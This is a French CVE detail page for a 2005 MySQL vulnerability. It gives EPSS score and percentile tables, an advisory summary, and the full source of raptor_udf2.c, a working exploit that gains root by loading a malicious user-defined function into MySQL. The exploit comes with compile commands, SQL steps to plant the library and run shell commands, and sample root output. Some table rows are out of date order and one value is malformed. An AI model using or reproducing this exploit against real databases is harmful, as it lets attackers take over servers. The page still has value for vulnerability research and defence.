CVE-2005-0711 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	3.16%	–	–
2022-03-06	–	–	3.16%	–	–
2022-04-03	–	–	3.16%	–	–
2022-05-15	–	–	3.16%	–	–
2022-11-13	–	–	3.16%	–	–
2022-11-20	–	–	3.16%	–	–
2022-12-18	–	–	3.16%	–	–
2023-01-01	–	–	3.16%	–	–
2023-02-05	–	–	3.16%	–	–
2023-03-12	–	–	–	0.06%	–
2023-09-17	–	–	–	0.06%	–
2023-12-03	–	–	–	0.06%	–
2023-12-17	–	–	–	0.06%	–
2024-01-07	–	–	–	0.06%	–
2024-03-24	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-06-02	–	–	–	0.06%	–
2024-06-16	–	–	–	0.06%	–
2024-08-04	–	–	–	0.06%	–
2024-08-11	–	–	–	0.06%	–
2024-10-27	–	–	–	0.06%	–
2024-12-15	–	–	–	0.06%	–
2024-12-22	–	–	–	0.13%	–
2025-03-02	–	–	–	0.13%	–
2025-01-19	–	–	–	0.13%	–
2025-03-09	–	–	–	0.13%	–
2025-03-18	–	–	–	–	0.38%
2025-03-30	–	–	–	–	0.49%
2025-04-09	–	–	–	–	0.48%
2025-04-15	–	–	–	–	0.48%
2025-04-15	–	–	–	–	0.48,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	65%
2022-03-06	66%
2022-04-03	82%
2022-05-15	83%
2022-11-13	84%
2022-11-20	83%
2022-12-18	84%
2023-01-01	83%
2023-02-05	84%
2023-03-12	23%
2023-09-17	24%
2023-12-03	23%
2023-12-17	24%
2024-01-07	23%
2024-03-24	24%
2024-06-02	25%
2024-06-02	25%
2024-06-16	26%
2024-08-04	25%
2024-08-11	26%
2024-10-27	27%
2024-12-15	28%
2024-12-22	48%
2025-03-02	49%
2025-01-19	48%
2025-03-09	49%
2025-03-18	57%
2025-03-30	63%
2025-04-09	62%
2025-04-15	64%
2025-04-15	64%

// source: https://www.securityfocus.com/bid/12781/info MySQL is reported prone to multiple vulnerabilities that can be exploited by a remote authenticated attacker. The following individual issues are reported: - Insecure temporary file-creation vulnerability. Reports indicate that an attacker with 'CREATE TEMPORARY TABLE' privileges on an affected installation may leverage this vulnerability to corrupt files with the privileges of the MySQL process. - Input-validation vulnerability. Remote attackers with INSERT and DELETE privileges on the 'mysql' administrative database can exploit this. Reports indicate that this issue may be leveraged to load and execute a malicious library in the context of the MySQL process. - Remote arbitrary-code execution vulnerability. Reportedly, the vulnerability may be triggered by employing the 'CREATE FUNCTION' statement to manipulate functions to control sensitive data structures. This issue may be exploited to execute arbitrary code in the context of the database process. These issues are reported to exist in MySQL versions prior to MySQL 4.0.24 and 4.1.10a. /* * $Id: raptor_udf2.c,v 1.1 2006/01/18 17:58:54 raptor Exp $ * * raptor_udf2.c - dynamic library for do_system() MySQL UDF * Copyright (c) 2006 Marco Ivaldi <raptor@0xdeadbeef.info> * * This is an helper dynamic library for local privilege escalation through * MySQL run with root privileges (very bad idea!), slightly modified to work * with newer versions of the open-source database. Tested on MySQL 4.1.14. * * See also: http://www.0xdeadbeef.info/exploits/raptor_udf.c * * Starting from MySQL 4.1.10a and MySQL 4.0.24, newer releases include fixes * for the security vulnerabilities in the handling of User Defined Functions * (UDFs) reported by Stefano Di Paola <stefano.dipaola@wisec.it>. For further * details, please refer to: * * http://dev.mysql.com/doc/refman/5.0/en/udf-security.html * http://www.wisec.it/vulns.php?page=4 * http://www.wisec.it/vulns.php?page=5 * http://www.wisec.it/vulns.php?page=6 * * "UDFs should have at least one symbol defined in addition to the xxx symbol * that corresponds to the main xxx() function. These auxiliary symbols * correspond to the xxx_init(), xxx_deinit(), xxx_reset(), xxx_clear(), and * xxx_add() functions". -- User Defined Functions Security Precautions * * Usage: * $ id * uid=500(raptor) gid=500(raptor) groups=500(raptor) * $ gcc -g -c raptor_udf2.c * $ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc * $ mysql -u root -p * Enter password: * [...] * mysql> use mysql; * mysql> create table foo(line blob); * mysql> insert into foo values(load_file('/home/raptor/raptor_udf2.so')); * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf2.so'; * mysql> create function do_system returns integer soname 'raptor_udf2.so'; * mysql> select * from mysql.func; * +-----------+-----+----------------+----------+ * | name | ret | dl | type | * +-----------+-----+----------------+----------+ * | do_system | 2 | raptor_udf2.so | function | * +-----------+-----+----------------+----------+ * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); * mysql> \! sh * sh-2.05b$ cat /tmp/out * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) * [...] */ #include <stdio.h> #include <stdlib.h> enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; typedef struct st_udf_args { unsigned int arg_count; // number of arguments enum Item_result *arg_type; // pointer to item_result char **args; // pointer to arguments unsigned long *lengths; // length of string args char *maybe_null; // 1 for maybe_null args } UDF_ARGS; typedef struct st_udf_init { char maybe_null; // 1 if func can return NULL unsigned int decimals; // for real functions unsigned long max_length; // for string functions char *ptr; // free ptr for func data char const_item; // 0 if result is constant } UDF_INIT; int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) { if (args->arg_count != 1) return(0); system(args->args[0]); return(0); } char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message) { return(0); }